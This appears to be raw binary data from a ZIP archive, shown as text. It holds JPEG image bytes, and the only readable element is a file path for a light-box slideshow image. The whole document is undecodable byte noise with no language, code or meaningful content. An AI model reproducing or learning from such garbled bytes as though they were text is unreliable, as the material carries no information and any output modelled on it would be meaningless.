ݳ"vFʜEZr*;ӱDY8sg̺cG,T䟼k{*j)4{{]'6%^yaٙ?ՊJ8ݲ׻/o]S{Hꛙ(!j@T$";JaH*>ȢT比*7`9==Ww@_c?洁Z#6:[]m4vcPce[iq&9؞9{=Bٛ7Ipt(>f[:[HJ]\3@/%%Fk$&60lDWYUFc'TnM./8^=?UB{S`M{ĊWa=Ν{JRoģTwW<@We\Nx.mE#ț|Vhs=pTƣAWRJ(&ҝT|m | Mǘ!7!AjUS6\|MF4ij|ߢ +gޒ XlkslVXـ.r,=!f5 fu' 2l{ԜX|fzR:a힋 U KN+'TMXu躅 ܱ˔͔oDNtcPݐ-Fݝ;N,3fOg\+4n]ϒf P4kc4-+^&{gsCW므^~裢_܌ٻӒcM8#U\ @vpkAdqW>L `_c1 h]zMS*;)9JYJ:v8#W9Jpѵ4n~:϶tA@TՏk2[*P1T|QD/w(!FgA?'GunH_rZegNA7乯e+%˳.ܻ0j2 d B5'#é[40-^\T,_f^Ŕ,DLJacd0t?߲aHXw]~90۲T~{\p[8[mNu9w§5tz.õPV:?%ttG5`FܜLjs}upC,:sjS9-Gr@s 1g,2D ecUuuueAq[m=(+o>Ҟc ]8yYN$zZ&B5S`^ɗ)Yd5*y+[beWA͇5.VU2yzd%Ҵ*ay*ɼVvZ+#u% *уB2r|M:0 %]_HDsGX48χE{rQ0E?#NPCo맗i#U|w+USmE oݧ ReISi_痽Y>hofZ~O/)(WL挫!~YOڸʘm)3VX&m*{ד1ü GW8g>6o @V0 45ODZ:y"k+hWUrnQ<|;^aR| mrF=b.=vxz'E| ׊#%C{~=d4Mћ~Oׂ%I 4M}Cӳ_gNNnjUYQcx}vcE8* dN.vB!fa{D|V^ <}c:46ꍭ迲Ǝ >ՅXY(/ J @uEL"`Bd^('7Pc@^̽ T {&,QޅAu?VDtecٗL9Tң-[4FAWEuIJl'9 SȨ";!,ay##ˮm ]?9\%T<>Jc *r"ѩQ겻;^k2C\17b(7NH|Xn~f(7Yvm}GAٰtuLW ^OO;g}A ڱWWQ79uX-WQy=LmxCm(D_k<U*'lvV_5se{IpNhú$,'S^jya?|{6A#aheIXJu\z* 2̈Щ/_8n|T4zM.j˒Y{@(8?@V) y5"ԫcm LJdH>Y=ٻcwB^2lg1; EFI:]q8_c{UV`il&H"O4@ /De28{Va[זI6Ujˎ±Ӳ5ocOYd? ^82,WpU*;`ZnW݊O[1gz^gVS&R&'321ah@XD8݊9ʩ֩d Ӗ}\-9.2!FV8RI?s. =Qm!3nN^`+{Oa<ϯR,z KS[ۉ2՗5]^+mpA2a6{nWfc  vŃ)5x8T5][iS@߾!DUd;J'U 9~).Sp7&Kp+ܐf2o=t Z}>^rМzA=wuۗaNw$O6(S ?Z9O*!1A Qaq0@P?&VtARaW [PX0(9P 7\Lwż_S\TX<:ܾWûÉ|a~Lxos=qi* k,>[-^3垥KŘ\$ʕ\wJ7~":&w( D1L*h\P㍕9OpVnܮpÚ{! ⯄`׃sPj_pTkw ˖8xnbHΩ;%]bTJC;27XCZeW$⽒3p}桻ܼA@^*W|[:GRY\߅U:O<8!J9Y~u*w\,:$B%O|V*^I_24UE]Tsm.S*_Rs efUAFu^H0:&e5 @ ^pYls|_72~5 Cq _\ʙ x^ ]\T35xRxX."m=_Eu |oܺ;}xSp9q3J*fP jx0{bc/F; x1\#M/Mx8'W;-E6s|7+ߎ:7\(r)u1/7YU+ B]Up h a;j]K.\>:=JPha;rȰfQjRU!<ߑ, 8'|18:Uxd<\Tu7Ǎp17/8rqa:DX*qo<U_Pk=@+j]}01[U3[ qsrn^!~੏pHM$%/9,>x8IXrqdۙ߅$p|4p 0\f-MqqR)cƧN3QbpcYT @JT\fF* EVo\{Ť*ڃu/A%)sͤW_&O}r1Z,`fI_ K-j_±|as; bc8 . M8ܮ xWyUr\rf|pp R(]CH*z-3t+2p[Vd-Z!F-BvrR̐Hvc\z?-d]{{fE_srl#5;x\Źr˹m/>1⸮+&F`p{^E,V 9rz)}C ~#\!cK5Дjb% ET?6$ńehLoLKLzN+XGN4#_Ɖ riȄ0W}j>j&q*Ts s|;|\m5˻ c_pϐBb\\R.u qX; kD&/9%7!Fxx+M/M wz;UTX-ˆ:Eަ&zv.`kʕҠnч{ĻY"& bdqwe+g,2,^F-Es|\_7X\ @ x#2z:*uQF.ftn:톱 E|Jbߍ yƹ}Sh%^h8öWAPM(PjASjӵ#dRD!Z:q) % 3p?gz?ܳ6}k*mqs\_>|nnTJ8&s^k JħOSRJtp(Y1!SWzqhC\=LoP%bMo0V~53E%lKUwPCN[-ɕc̱WݱCd9`G p5kE`JRE`Nt?o\q;7/O _5/'WpK:ָ'z3(ʙ'ߝpqw- ^mڥpLd Ir2/[䱫SSgUԾcea{P  M5E hjɾj YM; 9g~OQ 1ɇc︫7f4Q:S/ C^< T^6&%JP|3Sr]KǏc-PDǀ#IԹNrxÒ /W)w| vkm[ }}&aiT~XaCGXmlvGUꯨ-HԴucbI\[vC,6{56՝'ތ=RZ~N__--ծu..y7OTurrK|| Je 0 }5D/|/ L\1 BFTԾU3ԤMAR]]\Kam`KCY-C2lAW†)%7Ϋ?=tR TH(K͝#WƼSjUg3nd3- ?.j,Q[fV|;/1#\XU ׆X&7-1r*wN9߮ T89J.w8qD\dCO7^f;.([zCUt^p6E?zS$<7d(/k~^3idXc^c_D  |e},LTAbF`Hu \7:|5\O.loq l%xTb¦rq-C bΆ_ ¸ ˾( V]UxY*iLnn\XF }:wYov e \C+u(otN*81EnrT:*Z>HLfYkp惠eZ(2`8YF )uN‘ev0.ʔʉ+}x^%ŗ/0| d_ !]q55:ԯ̂JƥTKMN~̲uFmal͖/F DWBL`Pp *ja Z(YMgCW~ꀿW1[: ڿ7Z1;  P]1NM6F*(*ȱqE^tpqr eyc25Υ +J15\\pb\Rv@ྦྷWfY\.o?D!.&⠒l߈x+:\D^W laLf`Jq'l{Md'YbuܰnZJ 2 x_Q@woYH_Հ./SB;5daQF-V*#IcQ5_7 c%x<x\n^8&. ܹtKļqxo j.a-nxǍqxKw2yK. Dl։W}֡ 4igr[0о|SV D=X*1Gݬ>.\g 9Kl..ߤ=Z]2vQаX#T2̠aRpԷTc@oԗT)eb9E A/_*f.U}KUC_qqw._Rb:J#U x=TBRp\ $O-Y)H)x=u̯Wĥr*=K!k#2Tz [T ]F>_dsdVُqw/'lKqolԾ./G*B/!_HvGRCƹM2p\.& l._R]Az"l?)RrofS42OUS:YR~c[OʀU}ͺA`K`b_1NH}M5h̋[]sLY}Ō(y0MVF(ܣqWW&<[Φ(\E!Hq\P3 ^.#7W§WqG\ j@{qbj 9f`s*8h]b%狚V[Uw6O𑡊/y Y1$(TUeߺXAej="x(m@zK&TSb QZha4f%܁ըɌԏ/(պ@E)*iTq61~s+%|bKĹx"^gR.Qy^%Ωu; ;]E+-PX Pzǹd%Dc*.A~llg$ 9ق6؋Xqu[X" Sk ÐOzȅdmAAi03 ®5֩iWz$ [kEtrSPa2 ,UDJ{ӿ_X]O_ZVy·2][j[DŽSwq^)RMuL-≮Dõh-q5'"ÒT2sm,e" ˗.\sܷ%cR:?KIvĬ҃YxK0$CkX1Qpزkroc~-}!g%`>zZ[yÍӯ+WW+/͠+dIJWzun]`j+Pf}w!OECeH0'XHPx.+xkx"˕8XE<,:ҩ\^!fQ5g⫑ EG\fj&/02Pw.QQ.k \6 v%IkA-,J _`uM[v3XMB75O]Tu[z(Eg8*R|JfSt} Re\R+Uo#*vP +Ԩ`v.m*UVjo)qLX` muaKJ t<-zb 8mŜ7Ϣ2\Xdj:JeWbQ Gr5.ڔw|$/l q7(Eli+ꁢ`BsػD ZxY[c)M|$fqwk?X L7в6ܸ3v BSF@{ږ--D`2-!VE zq}-ڿ5j:6M)+9+F8%x<_>7Ծ.S K@5r.E3+ă-eǑxw'vK72{8pr,_,h*˗AYøg]!%j4 ZK㖛h>Ǔޖ{(U*@Z4}I!ʎ~c_" ,=l Jf5(õ:6JS^ Q}Ÿkeǃ\ܲʨN䕎2xx^5Je1* _nV'rrs(ԲS$Z\ĸ_P Y5!׫" CMTV+M]qݯc7^w]A6A 0˸aXOb邛_t*.6Z1V2i$Ȫ65֎‹Ɨ "@Z)m:yf@KsCPB)z{cl+҄N. ju|]K{w+-ez˷UqN*`%}E/Dx`5x^7.cYrr: X;Sm.*KYpap(cQ<uU-f=bt}]>@,B#,cy.wRd, UﺅhPU}*֪tH]za; W5% )zz L02R=nƜ7)ՎlG/@_Ne$osKY:xfℸTIV)Xn8TmmȣL5ORѐ+_T=z_%E]v}@ %qfHfi%xnѭCL%2qF̮W, iCCKW^n2TbJNJYJ*3Կp[{$`Ǿ-KFe|~UPfjT}/}1pRʃ]ιslrYR%಑e`4Š6`B~ح𞸟}0'BCQ iiaVk0fIj".ߩ2٦TǩgLaM=Th`޺[^K{~N%xYWUxTg⧋!+يAm@>fj2u=+ [v-3;SD3Pc}zCQj.^j5&^*kr.)Q4ˌn"1krQ\~D +l|.{PspqS*k{ma~YWx⾇*u1=_T 8뫏k禱 zM }/lgɥA_QᄉfS#RMPżרn{%] One=⡅#/&"*U1Y"ˁr .U{%qe[\<2dα5{Vxc]*_ xe9Fu.\4DZ>(Aș7k,Ϩ  @-)Cx|]?,A:S繬a7WAީ_CuO/Q >t*X-}g"C.MQ,0/G 9}0ϱ?r\7q^qYYYzc+[2/<{"ōu`n\ALxD.^r~<7.mfT ~'R-K2j]4%Y|eEeUN-=f~B0Vhh=ș Uq׭x.DXGO\'!: bY@ŪFNĒK6 5a\Uce\`~A-tEB6=nbQŦXnlW]U.z5iZWv\ -Y.YXĹV_X Cl=!}zc}W!d*Z@`;P5mM1A1qҵCd#}ʆ4q RL*Œ}i&t7CtfkΨ vjGj+4Ћh,rE .U:)Ppˋe"^"@&]j]DA ).g9uɒu;rr3靇8q|ܸEhO\3"5.^naܺ BcD0BhD4DE`Bi#LIqy(hl_sQ2֫.87EܩR1ᘢЮMƀc 6f[) UaːF1بm01jp?QJxQkrS=s=AǸ0z"5U8,ph.\5Jq5G,$Co~QxxXH1k6n/QfQ3QRqHZa]H2[W^A(%4w &uXmX[ʖ:B.p4d 2nXKAf# WhHI(_=n".<0L_n= |(.1y2,GqOP e-z?**}B]K%!Ego=wy%J bRڹŗ+ bn-JhaٖMEߍ[QL?\C[p)zaug,_clZĺb0uD"tqrRmf 6)D_,#u}Ƕ[A , 4 :\WbU~hR_UFWWL]0;jc" 3O4*{A,j*!JIy!=:o$7]:QF@ +eHouh?0`1©%eTXTfbŖ8fk/9!E\13q5/ƪtKEԿ#/x0`N bRbUsxq}Ed| n5-@\mԸEԲh8rr*4)fWKl`S+s՚kc)_rvF0~HsqԺU:[g 7KCAZ\DSԢIW)jYGg{`g2BI~VR#L'K {π% /oZ ~aoŵ 4V3c.v+;ԹV-3Qa5].ZEAN!|_qX둏U5DQU7N\Bc.,Yqeu(E.*S2p6K*qp0!XB!H& h{)-;Fk !Z1SjQRUDB6U^"ڬ|kVa4%dr 04хj1ZXQmȹ{;YX,C 3Z+@_YTͼJE c!.0X,7QnzkU}Fuj@mQ N2%V- 1.Z3 orfWv%A2J,ŋʂ\k$bLjT+\ UpWuͥ+B RBd7[Ð Դooޡ)mkka,. 1BY444Xݖz[@،dFչjYݏ-W%#\4z] 5-&Z8l ≠uGvŝ]{rAVj>`RɄI{RQndR1QaɄS$?FceaəRθr E>#YqbΣFe~Qm|މ\^@c|"lGЦC-L;m_%]pTӘ ,y @U}%ṽVR3E;TԬs>QNz9QL[mneWĵ5rdB+v`6> kn?;=?v3_QMBF:b qup/¼+3;p|CUIsg\ ,ŋ^86#Qxx_QRmAD}T^?P]+vb)H&(o.q&9sUɁ3 LXmVWD8G48)Liކ2(nzjL4k<luC7%*Սt7~c*.jRuP5ɲV.Xwn q8mDܼ BKCG,XYxX_.]+`F/v2ԻDl^A·UQ,;=1M;!&Ta-%3i(VK:pՆPL&!LW%>L/[NJ}K[ֶk*KBa0LdQldH0 8C)P19^oc b n&+UKF zEcd=˅bpK9+Ըj\bK"XJF1bŗ.Cˤ톤]ekLPZ _rhRo0b$%grD%֠C2ZE<1kn/m.د~E1 ج>K уj8{Sk׻ T_ɘRD/( P|ae1mntrC!QlξY+1 H[(Ƅ{%ܼ2x1|\YNQk_T7.q~J \}%ŌZb5-E.,T!u1j'zif4 x*: S"jH[OU,!vF8T( 񌻵F2n\.Ձ+[mR ě5_[On@\_]Fx>tťKL)rUBX1QPEˊVA)U~ʠ]J9 %*ݬgQ6TBS[w/*E./77˂c/x''Ĺ|,سRDŋ,Yqe~#w HHR2 Qr\b°˕ Oà_W  pQ^"tɾa p+Q}vSE5r )5o,2n ЭF.؛.᫚M-^ϥ,[ P_c킕eqnu+NsT_}xՂ#ïmu삤`eUGu⣂\_+?83Ka.eĶ]c1˗2].\XeuqA!#=:\4ѭ2z:AkuNGLXw-Ʌ 淛{#bPܻXUe%ZģC:j+zpDWn{8mZ_؁ɛ@g. 0:);fۦ3M]!5|vuYmv8؊q:ױl!Nا{.Ч^Xvp* ##8bfN_7K"LQ14r5%>wETYW5e~ D_"6Q:5"aSQ/pwRQUј՘j&p&1>W,t/X[0Yi*i_MovȭI G0ay;n~c[Yo[l3ww)pΫYi+ߨAeki;[b+v^wHiٿgW tx2F7PsSqrxjX8!尽axK˲ .\grˋdbXc._L"e*_i]Ř a8D hePt1"ş}gEle!C m#[(i!JaZ`˟UԮx{32wx_52p5= m=ocBՠ0b_#O̓f`YN=W]|}v1vEp+df]nqexԿ?!ܶ/%| A*FY pˋˋ,cb\r[/A`n2.)W  wGTh{0d bшm0 =\MzBxT %Q B5/7K"dWx%QW mi]o kRQ'X}٨~J/b|f]GHEP S%,TZ9j1r-/'7B+}Z0Υp>A..Xŋ.,Xb>'-F"z{w9rr@/B3EJLULغm=iMKo6/3.eHc]gX&1럢~ vEBj70\UKh|^%ܹqbˋ,,XlhUoC_di[@(f5C(p1r튉ABQH,Su$(D@PGlbn )-wL|+>ݡhkn#ژ]}{ݐ3Q%Femz V,[V+ONȅ[ U4+/pLPqĂ,6Aޡ_$.U0kF t (+&5@E B-nޠ/ WnQzaơEЌ1Et_n( PƢA%;}B ~pX5o!7C|t{ *1er;k1yE)]4J"6oAE:sJ beCi]ƿ_DZ>yf@3WU832F9T -b%&Ȇ3crBX,![e uR*9b칵 BF/$P/cLYk>931T J3rqԯҿ3O!&*3\.*f][),.1|ոO\ a Dsi(.*3D"FVumk#iDh|"F5Q/rZ*eeZ*Ql/pdQ)Z- pP{mQhA*̎] GV+FX?yW:9p%Sep_ fPL7 \8!1'qx/ˋ,xxc@ vJL5  D1 큝("Mc&YsAqKu-j". C}BQ$002bj {e%; EjZ Lc4ƒd#z9YT/)F`E=Y XZ R.Pp:ǯ qf%r/S̅A%w+%Bj5~oqᏃ/# v10CBT\<*efXoxPY`bBd @\IfN]`i3;-u9uR@2y%is+BL.17s-aXY*%n.2G-7ul.f'KgjA@9wtiO,c>p0YdUQz \\oUD:okUQh+ -zQS]M 8=m4G[q{)^ 0U}mw C"酡Z\@5=!eeqcwpd{ TıK,wYYU@r[ʕIU-*b$-&%%/yq7<<1y_xGz>(j@hPVSJYa,6,#.%tIT Cn)'50U"g{J3 VJv h[H5,#h9&q)S S6KQ X]unj$'j-f wP>~\ C~@5%u/.[,|1"s^' %d^Sk%vX8o%fshPr G k #CCYd, F`Urm|DMH',-N@bE4K.XakcW$-ڌK c[`,F5nq{p4p2+IW!bܷ|5:^^_> y3eqH !JM{-&cJ!{sʷՠCkܠ P ɠ6n!!iJSBrvaPbek0it8$`AUf\io!\u \xc>d#F~6Jp\ʥfCm,5ѽ,MA2;.(wXmHMI e 6RՁ`mƄ }.ذ(-nWTi@ETyKDbbnPJVΌ&1qW*WA#!pq|x⸻Oɏ,cX = o7FC+ VRF(Qjڄ %&c ެ0m\c:hZ;EgpsQciP ,ۺu՚ عaSU|==BŵLJf$;j_z}g2`*k!AJ׃/1: `a$EE"*{ii):bƳ.CbkTucb(1*/1f7 Yp^wU,Q#E?4a>Az5ֵ ѵl*3cm1UT݆b2--GK|jWאy<+8er<> xcD2*$fRg*#VR,5,qv`^~ңJX}i*cbzn85)l&:uͶPT,E֪n6 E%J[U`Yrϸc#"T:]2s4`M\. FU˿ NjfKB䒧q%Jח^ yc{05JHUaV{06zb訸\V.JVrn "D+i}+u;V P\ԬOAC:pe RCV*QR7EJ0Gp;e K=OҩRwu #eTb1cBU*SbŖ"W9of(.!(!6Dg0(fXP[(i[V9xLj|p0x!w/5vqrc\cˋ2La۶L2&`s,Dj'GpdaÂYa71b IFS ڸZ֯b pO_ 9! 1A0@PQ`"2aq#3Bp?p?Y7ڿ]}z]9p>_ܒ{H?}sPKO§%Ԇ2|ME$縆vb8}կ]lb 9=9vН6 gS~ŕ.Ih ћV`k9t M`Fj֦㣿}'-};P_,\bxXʹ7LE{M8Yd4vh#c|R[?Uj=ΈXCiZ0㉧'ö'hr6]j} uR4~h.R%>mxxf7;fz 8+'6PM[d]h+d&M5kAIS0𣆪 )Gfe9j}ܧ5ܨKblѲCLnb%zQF6֑D&ǵk\ϳ6g | ]wm{J\6I5f"QSbT79SRUCMpaF oWc{j8m";k^f+MORZ74'FIh2k됢I"Xc1{[|͆Iů/}ϸ~#V 3^h|$0DJ5F6+ϿWn^RD¼9Thb=}z5面t}y7\G6h'*} MtH^l`8^yVu߫kw&<ȎzshD&}.FͅqI*\c]}oW٦>DTȏF+\-i6.5wi\r]G.%hޤ=Yf?j_`m>ϩ%OE.f $y7ߍΗ|̫TUGSt ŕ1;h5bZ(5#u RB"zyJ˷yY(o'd♺?DI-r&%M7N=p?B>RVIмLэ5 hNWe}m^CcD&XQH!zynޤXE}lu^-T&xY5jG柗!ßy% SHИhJ>z<4Z_c9[zeYȌkDމtXUo%㬯:C1vVVYyEh|HJ7o(OWkC UJНI7-:1*d9,ف#}W|C;]W*'ԋZ&%!'(= 7q]ڸӛRȈu%vF.H0l1Bl"PD'dO,yb.f6>|͡Ԑ1=HhyaF%# Սlݖى V|<n%-ƭ5ɛv_ z/8lZ%z tdm  Bd5f!BGٱNC4"=H'c0&bʢQF tl~"%̉k%r"2r'$`&>w]q*;e6a7a#K6cɘj|dj|8nGJťMٍUat9|aD䝒nsfw1/ȋY] 8ʄ3Y~Ej92BHkIr?؂oƞs%;">dL9Iyi~kϲ|,|OJ7E"i g9\QW$?7Tn//QiʼC~p]w lHȪ+uΉm3čN]z&~>pWz20֤8:ޥ1ĊHg-G\IDD!ZY=htNk׸/SK>y%`D$X!:6%$G ؆&6bbl6/U=]g~7e 0#1_= o[(t3tN   ~4,YыsLR|D9AK͹z5zima6 yHh^{O6xMIhKXWׂħ~̜4ϩ9l%_^0Tsv{ K9KSS RB{G¾DC Z7LT" :=F<~:!+~k6S`~1":}=k9Iy%bu0ւe|+Re5RcXsq07cK'f4kSn/}8oo×_! -|SyucsFhQ(#$iS_%I/8JŔbx(HO%NXKvde7O ѬZblX8IŸ,7^kZX`׺F-t0jřw^C~D"$*Htr1xm|]U5~iyQ(1aL<#+L԰mt Ud斍=Tb~FmXMӘ6dD9 ,B_6^opc߯!lj0&!ݘNZRI]d9͙}`JCy,,"fg]lK9^+ʴ (f"~d0_#h?fX|0c$ZY5hĎF۴^K:;1NDdfUZ򮏪(b?IfzmM/ͫ 6H}5")df.kָHY/xh޺UOU2hA1x~g7!&렒Z!!<-w/zB f+F=)&B~ֵhf,z"ÊnQ( {:]EB>ER/YZ# ps6-C}yzSCY,=\)z&X$apmyZBխY^MCEqB[z½:!ZY˒0!*zG2{KHhthhYNcc^/ЅgW9k]Hk5wyE4PDyBV|h~B!KEj,y^n?GZ~Y.B⡢{PNz'G VHK"|xϒR'j^cYXL\( \[EoB0Pسd;_NMGfUƽ[.|zO6c>?Z #"–R n:|>}%υr0ScZ%DyBD%jEJ6a~: f7ņD@YVlk}aO>bw:6y!d*v_?}eeu0//!.)Xzh^~ KY"L~fJT.l\Lc1> U 便$}=D\7G ݭo:>_t4IjZzOr2DAסxh%'>fj$}Ge|1rEwɏ-j"@s%/%9bsbdpDyl~7~G?zDEy1c6t)6QaF 0'}#e1~WȲ+B/HX[GN"7Qi!$W>'ڢ,B1,7nnhC,,,aC2ϲ|OB, Ye{D9h(bIUfl[/(~}(HS#HϗG!ɖ9ڮf#YY.y!U(/ϱ}"j%y"P\*aY:RBBBDU*K;/ x|k_'yGͱy# 7.YeYO>yKRC,cZ_ VN1eI1ERr,O<ߛz(q= <Ќ%r/<!1 0A@PQ`aq"#23$BRp?y{d8<Uq`@憈;QpЧ0Bi SM2 U0iw ww 6QP|=(@ c- %L9*#`B|2Y$<@(P@Q辸=S6NAR*sTiIM%5w[w-v)0!{Y/yl* iz;R}әuT UpI2t=H咙S  g)D"xGc3E!H9~/ovKO! h2w' h yc(6m@"d j"^Bc@ 9|(:2(Sh8nPW?~=($BjrAИ:G-Qq  @QtIǒͶOqc GQּS fݝBP9`&1Ml(D'EmNA9J%Vy ܪ͇#'}]:k<$ժe@$FeT `涂PzSq(at̃ދ&^&3⊉\ьe /Iu)q+a8aQPlxpG<` O &ꁅ;L(:yMpBP@&5DVףYY;vw'tޟ, ΏU@B"" $Ma: 0*¦P &%j!Tr0S7\N`c<"JQ`SЂ>`p+-g>bP pqM0S(fE62Rual*Tb@q*2Q fn[~%r (*wOy}=Hdk5$6uJ&=)G(jD 86IMJD (B%7$s)ڦ1 0,.j;&i^sjPgF!N3)J! OJF *|a ~)SƜN>FNMBn3@EĢp84z)2t O%+imU8t5Yn*Lys-@ 3?]6&3)9(QP<>-H4ܰ?IcFQ9])li@?s>$BP);rvC J;NcAsy"S*&N29+ӆ`V=BK,mӌyi1A#XN\aĚOGruH7k]Xݞj1& G d*4c@GTkUv Uip ~\?tFT_O0ZDA͔hB qhq8PqxyW#4@0dꙬѷ"]lN{A=d|=ht$*OTl.ٰWVʹo$z3*ڭ u :4+EX*PIWnÈT:'Ю5'L4RJtG5745aTdVMmlTmk NrIq0?pGTSsoG͟y1 I4Qɻn>ɎU ^%^p[**D{'?mgRSڔ gt Xۦ}-)͌+BC_ҶX+C `s:\EWSC͐F Lآܔ vp%VH/۬&r]Kh5ekpzQ[W"i4P@"KLKd4G쪸y0iN=(ãO޻ @Lc=JgW\8Q*N N3l7*6!^ZO{D)?LnԂe*tϟT.\ ! FdwhC>?fޞ|qptiUk2 ed]&ظ i:#(V ?0˽@]+Ѵ֦cӒk\y191<@O[X2%I( f fSF{s#VNT1s@].ߍaZ}B?NSgkҨ&]t9?"1՜ψ"5ƓUm*m)]k@5< fu&99 A G Tӕbuzr9.j5B'TO| 8%Ѹ:5$AL{"u!\#4ĪF}ْpPUdhwúFp@NNݜ-X7`L98\agVDg;Z !=Q4[ ͐$AV #.a;x+j"G)5ZluV*2OlGaWdߌGx G1[am9!w,2neO]  ሣ:'4t"07'c 1ݙ@UЊ˖jt1d[57#FTw'bE 2R|e^eAȌ`7cS9FC4ϧ7TT;DRnW-NJ|d_!769=0GEHC_e39[08B8J8Ttx; W i uWd:y vý`;+S)4i3WHϸG;*N@U6;TSzpj;0 U>Vԁ(QWL朎W 984Eg '_tCrGV]G Qb - QC ަ>!>_h#-Jjh3GTqm#ɳh "E¯lFe!HEO9'jr)SQ'p*a D]I'(Qƞ;nVߚ ȔCq8LbJqWOxrDD1akJU`MCU\酯Ws8i1%=n'lvi{XV9J`@`SeqÀ8{PKZDQkkimages/light-box/sl2.jpgnu[JFIFC    ""C  , ꨠ[gosX*96_Ac6-7?Öʓ</=bp|瞗پcyw0NgzwkU,DtYWLilfi16\-E}syJ3OүS,ʩZjh\dxձ OfٸRz}9AьΈ;T/ci "r__Bihykuu٫>u,RhN%ňllitv.ET͓UR]JIզ mgDA|a0ACxza OZIٵ* 3n)dTk4Zb {z8"HLS6^t iVoIPz+]CB"z٨C02D;cȾy[Ѯ}"e:ſ۟xG'$zFm{PUctM}vz54LWmLVek)E`;Lf)q 2ykmw.^3~{W$yz{wٯ<'z#fY`dJ-Hˊ}Ҭ4G9l%[uaz|' _/?He8n.D |uR8DGJHVAjH lоB [zd>Fx̥_m^?7(A\ߙBʪj׹5Ay,nҸ}-:oE0%=O4tӥBa(k?eVz#9P5+|R2"cZ!qg eo>~Fѿp0E3CMh. 6-3Z i h' z =!#UXjXl!Kzr=toy,E 1s)Hn0VkP,-eO2V{[ tz>2,o}OysjVzdkE;ڒtAz F`Hm 9}z?e!=.pNr}&I ص̰Ee*\pQq_cܴ@$!21e:-k'c,e=#ѶNΗjhubGs zD xrcڻ}5k4rK\f!}030 js%ISr'!Vwpm=|1:A-`önc^}YO>L&s(m6HhEo1ZH쥚ӕ (Gixl{1TG *^F@݇fzXl%a\K~MxA׆UQkG͙z.M0RӖugpTWU}^q7R'j\1D) 0^m_~.s0I f^h*;^V Lp91Izb-6R)L9(#E@. BEҦN^+ޑcd+otT~Җ zZd{Rg^;ZҖqe%6_NoexyAF=4U` a+Lg\s)3 7 Թ hfCK%a5y+ {/k FD1~X.=`GWJ-{%i2SYlC=bvgQgxʝ f[-XKH:-. zu݊;{ Y$i$lfp NdžmsL}*(3?~鴑 gUn 7t ෹i{ fK3:Vzs;ZX,iHC t>0Jh0lҕNvBǡV{yIk,70YLS짝2!"12#A$3QB4aqCR% VQesZ@ kl- L.M"wjmZs 6xFj>_69'V'cc;n_otjU3QhқcUpyV設U{Vh:5[WЋ][V²Bt{vxG@n2d״DO!;7h-%(Kqb*j<.3q͚Y%7+bq_ !O)9&3""'<."P8>##B$}őN>N3MEKfۥ^!#d\7)oxۣ̐jtct`c`:fG1]9ZFWtHMsso6>V27oV*ӝrV]EnY.n4"0Sߎl&N%GCy{x~mi?lz["@vq .~/OZx`YI)T4!M!Kl`ORq"WNWפ>ףez}_V贩y߳^jf[N x*J1n"+-^ml2#,"Iq!"ќӆV/2[cjnēh:w;b9F?QPvkblu5XS4t KV4hjpfr[CMAm}JLčÕcXV~ĵרc¶yH$$vAGhl%sjBak٫Uc-fMJKj˻Z۬W&ְޗ^: Ӭ-QH\{:ķFӕNҕ1Ǚ XZd$ȑd`D ėZ"5#+# T_|N`o65DOsW,SUNViiqR.ٷ)O}m`زjDd=j۫c'zA|WLIZ} g ܝb筃r2d]l)̪c*Fz8|'r5W-\krv4R2W2}\bʴ-nQvFnԔtMk E&B{@1[Ds}gML!8g3"^FkW}5S dbX}S|296rGXrK1%BpHkYߴ4Ǹ&ZKP>!Bjw50t%ѻ$, hS8c|ݾxTm^9.8KQ]w[٪RkVH5!'27+qь*S 6!aZts,G1%%;GE3l HVBcӝm&؎#ljbO(ͮ3>rP$3#^H,7%VG]; _(QRInJɵ7(Iuf+c(YJMi=Wb3Zj5&DaOoIn%MDTvI޻ʭZ*ӓ,aLɠY&JS싍NeO v**wVݰ=HCC SD6AK)c(a83CEŠέAA\٫uεkNgj<곤0g [UdQg|f9$K̐4#)MکMl S]αT=A3̀`6j+^7Y\&+7nLhw7?ʌ>RoK џv8Ən:<Ԙ + wJ?'ֻKILA&IOҬV~EN z`'x7OgxfS:A r>3$%-ʇkE㈍U>`sqL&C,hPSs83D۫WZ"eGc8񅗘Ќ1h1e H Tr+m㳉v\r}IWϥtB$Gw_JmBz|,*KZ1+n&{uuoݒlPcG DmJ'[Q#6|~9 x},Qd0%^dY8L}'3>)?)<ڳ[ 3PN"2v XυI W=[:pcx,!kmؽ\ ,u;}(z5"K-ş7+ xA֑܊5]b!<))ljϷQDgDG̤9]mh.M8@[A2OoMZşoL й\jI!3b?E爜O$I{x]i, iQ׌Ke ڥqVD*n &N/8DxG sN¬ st,YͶXkrKm9 A*&f& [<2X˒ői Ih_֩bU:PpA2qb [V`KhGJ֫iHtT}%u'[ue!%'%V*tp ӨЌ!aUPC,:u14: πVM\62K @&&yLEay9:L dF4ā Z>WҭkC ΘQ>s:'#9H`[MGBT.Y (\(oGQQZx,bŦ:lɺHUoM`*/x%ѺհS >'Q Lf ix|tj-JEL eԦ=IY~Ŏ7,lLbu 2J +GrS0G5 \|cSKxէÉ"6Y^Ϋt\^p:bڡ<F9" ƊuΗ8Զg:OxIO'[f욌X_S6W'?C%6D献e_gi.⧜g1)kݮsQ,I*GQe5]biw&OG0 lV#5 #- ¾&m`]"l,F39L@Nu'"EY(&gnlԲB c ,dkoՆP`B%>po3S25CSEc&.B>ny GE$1|ύGܜ@\L~:61%12˜&' g}್`} 7d]ńW/b:JpMb)νCМ>|C8yDiXzx@ we$Πɤmr͈HV,@сfF}D'b@J{ uSu1G+Hh8M>?r>8^ S'%tI.Y!1AQa"q2BRb#3r CS$cD ?eW4k[ǫܡ}Ǫl7bVЩ/.MJ8˫ШeԽ|MQUl; d^f1sGΙ45軷џܯ ؐyS%3}1n*"ǵ9ɺf3!Ļ!yuUѤ hU:pO$b29U3v+FʥN.vI>g&/CflS.3]L#:+?z{xrk/ğ0ݤ.J틜ӈTj@)iմs]a*;E]Á滄;u3 zWWrGv̖pF)}cfE^]ʧ{Xqq82W&2{DSj!e폪3*֎˥F`BwM@m:g3CPKg=']c 5eY1h) yx'3ĮF"~]q[u 'bKuާsZpOe;BCWg|BZFu磌h4_tѣTAC˚Ƙ5@FtteKQ2pPlhu)IXԥZݮ>iK \eߦzq !ܫ^ʭ}.B(ܘ {";ev#uv?R0V/A6`u%>ʼҦvG g '-C^7:?,6%SHuyZrwLi珽}9 M8遡ىFG8U)X}Rj)sDAeK=sARo(,,4(P{&S/G%4jNI@pFC[A]US ^K OV]]pN}SM.u;ҩ RdASpoI>ah{,) 'Y^cz ?o'rcKs#RZLzlIo?eH:GFcG7>a3/g};J ͸T1{ EjÍ1=}轡U.#PuUiga MGLP"꛰vgc}9rXmTsrnعV d4 jl5Y:.q 